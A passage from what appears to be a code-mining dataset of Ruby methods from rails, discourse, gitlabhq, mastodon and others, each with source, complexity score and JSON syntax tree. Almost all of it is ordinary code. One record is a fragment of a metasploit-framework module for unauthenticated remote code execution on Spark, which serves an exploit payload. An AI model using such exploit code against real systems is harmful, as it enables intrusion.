"key\",{\"type\":\"sym\",\"children\":[\"label\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[-1]}]}]},\"strip\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"split\"]},\"first\"]},\"downcase\"]},\"to_sym\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_s\"]},\"length\"]},{\"type\":\"int\",\"children\":[-1]}]}]},\"strip\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"!=\",{\"type\":\"sym\",\"children\":[\"label\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_item\"]},\"nil?\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"labels\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"current_item\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"kernel\"]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_item\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"kernel\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_item\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"kernel_options\"]}]}]},{\"type\":\"send\",\"children\":[null,\"parse_kernel\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"boot\"]},{\"type\":\"sym\",\"children\":[\"chain\"]},{\"type\":\"sym\",\"children\":[\"reboot\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"current_item\"]}]},{\"type\":\"lvasgn\",\"children\":[\"current_item\",{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"initrd\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_item\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},null]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"current_item\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bad\"]},{\"type\":\"lvasgn\",\"children\":[\"good\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"compact\"]},\"partition\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"kernel\"]}]},\"blank?\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bad\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Image \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"label\"]}]}]},{\"type\":\"str\",\"children\":[\" missing kernel - Skipping\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"good\"]}]}]}","id":"146eea19-25cd-4717-8048-504e53c9a608"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/user_card_serializer.rb","start_line":8,"raw_source":"def initialize(object, options = {})\n    super\n    options[:include_status] = true\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"include_status\"]},{\"type\":\"true\",\"children\":[]}]}]}]}","id":"5fadbbe6-05cd-4f54-9cd3-9f2d48168f98"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/cron_parser.rb","start_line":62,"raw_source":"def cron_timezone_valid?\n        try_parse_cron(VALID_SYNTAX_SAMPLE_CRON, @cron_timezone).present?\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cron_timezone_valid?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"try_parse_cron\",{\"type\":\"const\",\"children\":[null,\"VALID_SYNTAX_SAMPLE_CRON\"]},{\"type\":\"ivar\",\"children\":[\"@cron_timezone\"]}]},\"present?\"]}]}","id":"9c369695-0db0-4cc0-b179-9c83ed0a0af0"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/colorize_logging.rb","start_line":41,"raw_source":"def fatal(progname = nil, &block)\n      logger.fatal(progname, &block) if logger\n    end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"fatal\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"progname\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"fatal\",{\"type\":\"lvar\",\"children\":[\"progname\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},null]}]}","id":"eb840a1f-3d75-470b-9ca7-af1cdd2f7c5b"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/topic_posters_summary.rb","start_line":68,"raw_source":"def descriptions_for(user)\n    descriptions_by_id[user.id].join(@translations[:joiner])\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"descriptions_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"descriptions_by_id\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@translations\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"joiner\"]}]}]}]}","id":"a7034a2e-eb0b-47d3-bd2a-06f1bcec78da"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/environments/schedule_to_delete_review_apps_service.rb","start_line":24,"raw_source":"def dry_run?\n      return true if params[:dry_run].nil?\n\n      params[:dry_run]\n    end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"dry_run?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"dry_run\"]}]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"dry_run\"]}]}]}]}","id":"10f9713d-f046-4b41-8358-ddc4836688d3"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/group_index.rb","start_line":6,"raw_source":"def visit\n        page.visit(\"/groups\")\n        self\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"visit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"visit\",{\"type\":\"str\",\"children\":[\"/groups\"]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"9d8f7e17-537c-429c-a5ac-5b3becf47c12"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/admin/scim_clients/token_list_component.rb","start_line":38,"raw_source":"def access_tokens\n        model.access_tokens.order(created_at: :desc)\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"access_tokens\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"access_tokens\"]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]}]}","id":"d4d78b4e-6e72-49e1-805e-a1e52cff1573"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/relation.rb","start_line":146,"raw_source":"def relation_type_for(work_package)\n    if TYPES[relation_type]\n      if from_id == work_package.id\n        relation_type\n      else\n        TYPES[relation_type][:sym]\n      end\n    end\n  end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"relation_type_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TYPES\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"relation_type\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"from_id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[null,\"relation_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TYPES\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"relation_type\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"sym\"]}]}]},null]}]}","id":"c354ef9d-3ab5-4122-9ef6-b4a2330e12ab"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/processors/lib/render_path.rb","start_line":108,"raw_source":"def to_sym\n      self.to_s.to_sym\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"to_sym\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"to_s\"]},\"to_sym\"]}]}","id":"fb52f752-7a62-4f6b-a21b-63db19bb5999"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/maven/metadata/create_plugins_xml_service.rb","start_line":81,"raw_source":"def prefix_from(artifact_id)\n          artifact_id.gsub(/-?maven-?/, '')\n                     .gsub(/-?plugin-?/, '')\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"prefix_from\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"artifact_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"artifact_id\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"-?maven-?\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"-?plugin-?\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}","id":"0948c00c-f57f-4622-8819-d23a63864671"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/attribute_methods_test.rb","start_line":36,"raw_source":"def attribute_test(name, attrs = {})\n    attrs[name] = attribute(name)\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"attribute_test\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"attrs\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"attribute\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"f7c0b5c6-92ba-4a93-87cc-3fa4524e1ba4"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/policies/family_membership_policy.rb","start_line":8,"raw_source":"def update?\n    # Users can update their own settings\n    return true if user == record.user\n\n    # Family owners can update any member's settings\n    user.family == record.family && user.family_owner?\n  end","complexity_score":15.9,"ast_json":"{\"type\":\"def\",\"children\":[\"update?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"user\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"family\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"family\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"family_owner?\"]}]}]}]}","id":"858374a3-9262-4d4b-a432-b9ea1140d86f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/group.rb","start_line":1086,"raw_source":"def access_level_values\n    access_level_roles.values\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"access_level_values\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"access_level_roles\"]},\"values\"]}]}","id":"57d32c49-76e5-4959-985b-b66a96b3009d"}
{"repo_name":"gl_command","file_path":"./repos/gl_command/lib/gl_command/context.rb","start_line":64,"raw_source":"def full_error_message\n      return nil if @full_error_message.blank? && error.blank?\n\n      ContextInspect.error(defined?(@full_error_message) ? @full_error_message : @error)\n    end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"full_error_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@full_error_message\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error\"]},\"blank?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ContextInspect\"]},\"error\",{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@full_error_message\"]}]},{\"type\":\"ivar\",\"children\":[\"@full_error_message\"]},{\"type\":\"ivar\",\"children\":[\"@error\"]}]}]}]}]}","id":"fe34c233-bb0a-4482-9de8-bd057d42f341"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/spark_unauth_rce.rb","start_line":147,"raw_source":"def on_request_uri(cli, request)\n    print_status(\"#{rhost}:#{rport} - Sending the payload to the server...\")\n    send_response(cli, @pl)\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Sending the payload to the server...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"ivar\",\"children\":[\"@pl\"]}]}]}]}","id":"7cc609b3-020e-4ef2-a6f0-6b2e0fd76151"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/ordered_options.rb","start_line":107,"raw_source":"def ==(other)\n      to_h == other.to_h\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"==\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_h\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"to_h\"]}]}]}","id":"15a4ec17-5a83-4c98-8290-17c65bf68166"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/concerns/ranked_trend.rb","start_line":16,"raw_source":"def recalculate_ordered_rank\n      connection\n        .exec_update(<<~SQL.squish)\n          UPDATE #{table_name}\n          SET rank = inner_ordered.calculated_rank\n          FROM (\n            SELECT id, row_number() OVER w AS calculated_rank\n            FROM #{table_name}\n            WINDOW w AS (\n              PARTITION BY language\n              ORDER BY score DESC\n            )\n          ) inner_ordered\n          WHERE #{table_name}.id = inner_ordered.id\n        SQL\n    end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"recalculate_ordered_rank\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"exec_update\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_name\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"SET rank = inner_ordered.calculated_rank\\n\"]},{\"type\":\"str\",\"children\":[\"FROM (\\n\"]},{\"type\":\"str\",\"children\":[\"  SELECT id, row_number() OVER w AS calculated_rank\\n\"]},{\"type\":\"str\",\"children\":[\"  FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_name\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  WINDOW w AS (\\n\"]},{\"type\":\"str\",\"children\":[\"    PARTITION BY language\\n\"]},{\"type\":\"str\",\"children\":[\"    ORDER BY score DESC\\n\"]},{\"type\":\"str\",\"children\":[\"  )\\n\"]},{\"type\":\"str\",\"children\":[\") inner_ordered\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".id = inner_ordered.id\\n\"]}]},\"squish\"]}]}]}","id":"3cb90337-0d3c-4852-b520-1fc6364e4b64"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/request_forgery_protection_test.rb","start_line":404,"raw_source":"def test_should_allow_get\n    assert_not_blocked { get :index }\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_allow_get\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_not_blocked\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"index\"]}]}]}]}","id":"60b5a311-daaa-431e-8d7d-70e183f3ebff"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/model/krb_cred.rb","start_line":183,"raw_source":"def decode_enc_part(input)\n            Rex::Proto::Kerberos::Model::EncryptedData.decode(input.value[0])\n          end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"decode_enc_part\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Model\"]},\"EncryptedData\"]},\"decode\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"value\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"0fbae568-0036-4a6e-99f0-a4ee1935981e"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/values/time_zone.rb","start_line":403,"raw_source":"def iso8601(str)\n      # Historically `Date._iso8601(nil)` returns `{}`, but in the `date` gem versions `3.2.1`, `3.1.2`, `3.0.2`,\n      # and `2.0.1`, `Date._iso8601(nil)` raises `TypeError` https://github.com/ruby/date/issues/39\n      # Future `date` releases are expected to revert back to the original behavior.\n      raise ArgumentError, \"invalid date\" if str.nil?\n\n      parts = Date._iso8601(str)\n\n      year = parts.fetch(:year)\n\n      if parts.key?(:yday)\n        ordinal_date = Date.ordinal(year, parts.fetch(:yday))\n        month = ordinal_date.month\n        day = ordinal_date.day\n      else\n        month = parts.fetch(:mon)\n        day = parts.fetch(:mday)\n      end\n\n      time = Time.new(\n        year,\n        month,\n        day,\n        parts.fetch(:hour, 0),\n        parts.fetch(:min, 0),\n        parts.fetch(:sec, 0) + parts.fetch(:sec_fraction, 0),\n        parts.fetch(:offset, 0)\n      )\n\n      if parts[:offset]\n        TimeWithZone.new(time.utc, self)\n      else\n        TimeWithZone.new(nil, self, time)\n      end\n\n    rescue Date::Error, KeyError\n      raise ArgumentError, \"invalid date\"\n    end","complexity_score":46.3,"ast_json":"{\"type\":\"def\",\"children\":[\"iso8601\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"invalid date\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"parts\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"_iso8601\",{\"type\":\"lvar\",\"children\":[\"str\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"year\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"year\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"yday\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ordinal_date\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"ordinal\",{\"type\":\"lvar\",\"children\":[\"year\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"yday\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"month\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ordinal_date\"]},\"month\"]}]},{\"type\":\"lvasgn\",\"children\":[\"day\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ordinal_date\"]},\"day\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"month\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"mon\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"day\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"mday\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"time\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"year\"]},{\"type\":\"lvar\",\"children\":[\"month\"]},{\"type\":\"lvar\",\"children\":[\"day\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"hour\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"min\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"sec\"]},{\"type\":\"int\",\"children\":[0]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"sec_fraction\"]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"offset\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"offset\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TimeWithZone\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"utc\"]},{\"type\":\"self\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TimeWithZone\"]},\"new\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"time\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"Error\"]},{\"type\":\"const\",\"children\":[null,\"KeyError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"invalid date\"]}]}]},null]}]}","id":"ed04e9d4-39bb-479d-aaf4-6ddb03f4c54d"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/pilot/lib/pilot/commands_generator.rb","start_line":28,"raw_source":"def handle_multiple(action, args, options)\n      mgr = Pilot::TesterManager.new\n      config = create_config(options)\n      args.push(config[:email]) if config[:email] && args.empty?\n      args.push(UI.input(\"Email address of the tester: \")) if args.empty?\n      failures = []\n      args.each do |address|\n        config[:email] = address\n        begin\n          mgr.public_send(action, config)\n        rescue => ex\n          # no need to show the email address in the message if only one specified\n          message = (args.count > 1) ? \"[#{address}]: #{ex}\" : ex\n          failures << message\n          UI.error(message)\n        end\n      end\n      UI.user_error!(\"Some operations failed: #{failures.join(', ')}\") unless failures.empty?\n    